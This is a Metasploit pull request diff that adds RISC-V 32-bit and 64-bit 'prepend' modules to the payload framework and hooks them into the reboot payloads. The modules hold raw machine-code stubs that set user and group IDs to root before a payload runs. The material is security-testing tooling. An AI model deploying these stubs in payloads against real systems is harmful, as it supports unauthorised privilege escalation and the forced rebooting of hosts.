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Add Linux RISC-V 32-bit/64-bit prepends #20716

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Add Linux RISC-V 32-bit/64-bit prepends #20716

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77 changes: 77 additions & 0 deletions lib/msf/core/payload/linux/riscv32le/prepends.rb
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Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
#
# Linux RISC-V 32-bit prepends
#
module Msf::Payload::Linux::Riscv32le::Prepends
include Msf::Payload::Linux::Prepends

def prepends_order
%w[PrependSetresuid PrependSetreuid PrependSetuid PrependSetresgid PrependSetregid PrependSetgid]
end

def appends_order
%w[AppendExit]
end

def prepends_map
{
# setuid(0)
'PrependSetuid' => [
0x00000513, # li a0,0 # uid = 0
0x09200893, # li a7,146 # __NR_setuid
0x00000073 # ecall
].pack('V*'),

# setreuid(0, 0)
'PrependSetreuid' => [
0x00000513, # li a0,0 # ruid = 0
0x00000593, # li a1,0 # euid = 0
0x09100893, # li a7,145 # __NR_setreuid
0x00000073 # ecall
].pack('V*'),

# setresuid(0, 0, 0)
'PrependSetresuid' => [
0x00000513, # li a0,0 # ruid = 0
0x00000593, # li a1,0 # euid = 0
0x00000613, # li a2,0 # suid = 0
0x09300893, # li a7,147 # __NR_setresuid
0x00000073 # ecall
].pack('V*'),

# setresgid(0, 0, 0)
'PrependSetresgid' => [
0x00000513, # li a0,0 # rgid = 0
0x00000593, # li a1,0 # egid = 0
0x00000613, # li a2,0 # sgid = 0
0x0aa00893, # li a7,170 # __NR_setresgid
0x00000073 # ecall
].pack('V*'),

# setregid(0, 0)
'PrependSetregid' => [
0x00000513, # li a0,0 # rgid = 0
0x00000593, # li a1,0 # egid = 0
0x04700893, # li a7,71 # __NR_setregid
0x00000073 # ecall
].pack('V*'),

# setgid(0)
'PrependSetgid' => [
0x00000513, # li a0,0 # gid = 0
0x02e00893, # li a7,46 # __NR_setgid
0x00000073 # ecall
].pack('V*')
}
end

def appends_map
{
# exit(0)
'AppendExit' => [
0x00000513, # li a0,0 # exit code = 0
0x05d00893, # li a7,93 # __NR_exit
0x00000073 # ecall
].pack('V*')
}
end
end
77 changes: 77 additions & 0 deletions lib/msf/core/payload/linux/riscv64le/prepends.rb
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Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
#
# Linux RISC-V 64-bit prepends
#
module Msf::Payload::Linux::Riscv64le::Prepends
include Msf::Payload::Linux::Prepends

def prepends_order
%w[PrependSetresuid PrependSetreuid PrependSetuid PrependSetresgid PrependSetregid PrependSetgid]
end

def appends_order
%w[AppendExit]
end

def prepends_map
{
# setuid(0)
'PrependSetuid' => [
0x00000513, # li a0,0 # uid = 0
0x09200893, # li a7,146 # __NR_setuid
0x00000073 # ecall
].pack('V*'),

# setreuid(0, 0)
'PrependSetreuid' => [
0x00000513, # li a0,0 # ruid = 0
0x00000593, # li a1,0 # euid = 0
0x09100893, # li a7,145 # __NR_setreuid
0x00000073 # ecall
].pack('V*'),

# setresuid(0, 0, 0)
'PrependSetresuid' => [
0x00000513, # li a0,0 # ruid = 0
0x00000593, # li a1,0 # euid = 0
0x00000613, # li a2,0 # suid = 0
0x09300893, # li a7,147 # __NR_setresuid
0x00000073 # ecall
].pack('V*'),

# setresgid(0, 0, 0)
'PrependSetresgid' => [
0x00000513, # li a0,0 # rgid = 0
0x00000593, # li a1,0 # egid = 0
0x00000613, # li a2,0 # sgid = 0
0x0aa00893, # li a7,170 # __NR_setresgid
0x00000073 # ecall
].pack('V*'),

# setregid(0, 0)
'PrependSetregid' => [
0x00000513, # li a0,0 # rgid = 0
0x00000593, # li a1,0 # egid = 0
0x04700893, # li a7,71 # __NR_setregid
0x00000073 # ecall
].pack('V*'),

# setgid(0)
'PrependSetgid' => [
0x00000513, # li a0,0 # gid = 0
0x02e00893, # li a7,46 # __NR_setgid
0x00000073 # ecall
].pack('V*')
}
end

def appends_map
{
# exit(0)
'AppendExit' => [
0x00000513, # li a0,0 # exit code = 0
0x05d00893, # li a7,93 # __NR_exit
0x00000073 # ecall
].pack('V*')
}
end
end
1 change: 1 addition & 0 deletions modules/payloads/singles/linux/riscv32le/reboot.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
module MetasploitModule
CachedSize = 32

include Msf::Payload::Linux::Riscv32le::Prepends
include Msf::Payload::Single

def initialize(info = {})
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1 change: 1 addition & 0 deletions modules/payloads/singles/linux/riscv64le/reboot.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
module MetasploitModule
CachedSize = 40

include Msf::Payload::Linux::Riscv64le::Prepends
include Msf::Payload::Single

def initialize(info = {})
Expand Down
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